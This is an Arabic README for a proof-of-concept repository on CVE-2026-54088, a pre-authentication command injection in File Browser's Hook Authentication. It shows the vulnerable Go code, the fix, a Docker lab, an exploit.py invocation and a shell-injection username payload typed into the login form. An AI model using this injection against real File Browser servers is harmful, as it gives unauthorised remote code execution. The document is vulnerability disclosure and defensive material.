
إثبات مفهوم لاستغلال CVE-2026-54088، وهي ثغرة حقن أوامر نظام التشغيل قبل المصادقة في File Browser <=2.63.5. يوضح حقن الأوامر عبر Hook Authentication لتحقيق تنفيذ التعليمات البرمجية عن بُعد.
هذا المستودع هو إثبات المفهوم (PoC) للثغرة الأمنية الخطيرة لحقن أوامر نظام التشغيل CVE-2026-54088 الموجودة في File Browser الإصدار <= 2.63.5.
توجد هذه الثغرة في ميزة Hook Authentication. عندما يقوم المسؤول بتكوين File Browser لاستخدام أمر خارجي لمصادقة المستخدمين، يتم توسيع username و password المرسلين عند تسجيل الدخول إلى سلسلة الأوامر المكونة بواسطة os.Expand() دون هروبها. يمكن للمهاجم عن بعد غير المصادق حقن بناء جملة شل عبر طلب تسجيل الدخول وتنفيذ أوامر عشوائية قبل نجاح المصادقة.
المكتشف: saku0512 (https://github.com/Saku0512)
هذا المشروع مخصص للأغراض التعليمية واختبارات الأمن الأخلاقية فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر أو أنشطة غير قانونية باستخدام هذه الأداة. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذا البرنامج فقط في البيئات التي حصلت فيها على إذن صريح.
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandتقوم الدالة HookAuth.RunCommand() بتقسيم أمر المصادقة المُعيّن وتوسيع العناصر النائبة لبيانات الاعتماد باستخدام بيانات الطلب التي يتحكم فيها المهاجم.
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
إذا تم ضبط أمر الخطاف على النحو التالي:
sh -c $USERNAME
عندما يرسل المهاجم اسم مستخدم مثل:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
أثناء محاولة تسجيل الدخول، ينفذ الخادم نص شل يتحكم فيه المهاجم. ليست هناك حاجة لحساب أو كلمة مرور صالحة.
تم إصلاح هذه المشكلة في الـ commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f عن طريق إزالة استبدال بيانات الاعتماد من سلسلة أمر الخطاف. يتم تنفيذ أمر الخطاف كما هو مُكوّن، ويتم تمرير بيانات الاعتماد فقط كمتغيرات بيئة.
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
المعالجة الضعيفة التي تمت إزالتها هي حلقة os.Expand() التي كانت تعيد كتابة وسائط الأوامر ببيانات الاعتماد التي يتحكم فيها المهاجم قبل استدعاء exec.Command(). يتضمن هذا الإصلاح أيضًا اختبارات انحدار للتحقق من أن بيانات الاعتماد المحقونة لا يمكنها تعديل أمر الخطاف، وأن USERNAME / PASSWORD لا تزال متاحة للخطاف عبر متغيرات البيئة.
قم بتشغيل بيئة File Browser الضعيفة. خدمة filebrowser-init تنشئ قاعدة البيانات وتمكن Hook Authentication باستخدام أمر ضعيف.
docker compose up -d
الهدف متاح على الرابط التالي:
http://localhost:8080
قم بتشغيل سكريبت الإكسبلويت من هذا الدليل.
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
يرسل هذا الإكسبلويت طلب تسجيل دخول غير مصادق واحد إلى /api/login. من المتوقع أن تفشل المصادقة، ولكن يتم تنفيذ الأمر المحقون قبل ذلك.
افتح شاشة تسجيل الدخول الخاصة بـ File Browser في المتصفح.
http://localhost:8080
أدخل القيم التالية في نموذج تسجيل الدخول، ثم انقر على زر تسجيل الدخول.
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
سيفشل تسجيل الدخول، ولكن تنفيذ أمر Hook Authentication يحدث قبل إرجاع نتيجة المصادقة. تحقق من إنشاء ملف العلامة في الحاوية من خلال عملية الواجهة الرسومية باستخدام الأمر التالي:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
إذا كان الملف موجودًا، فهذا يؤكد أن RCE قبل المصادقة قد حدث أيضًا من عملية تسجيل الدخول عبر الواجهة الرسومية.
تحقق من تنفيذ الأمر داخل حاوية File Browser:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
إذا كان الملف موجودًا، فهذا يؤكد RCE قبل المصادقة.
docker compose down -v
قم بتحديث File Browser إلى الإصدار 2.63.6 أو أحدث.
لا تقم بتضمين بيانات الاعتماد في سلسلة أوامر القشرة، بل مررها إلى أمر الخطاف فقط كمتغيرات بيئة. بالنسبة لمسارات تنفيذ الأوامر الأخرى، تجنب تقييم القشرة أو قم بفصل الوسائط وهروبها بشكل صارم.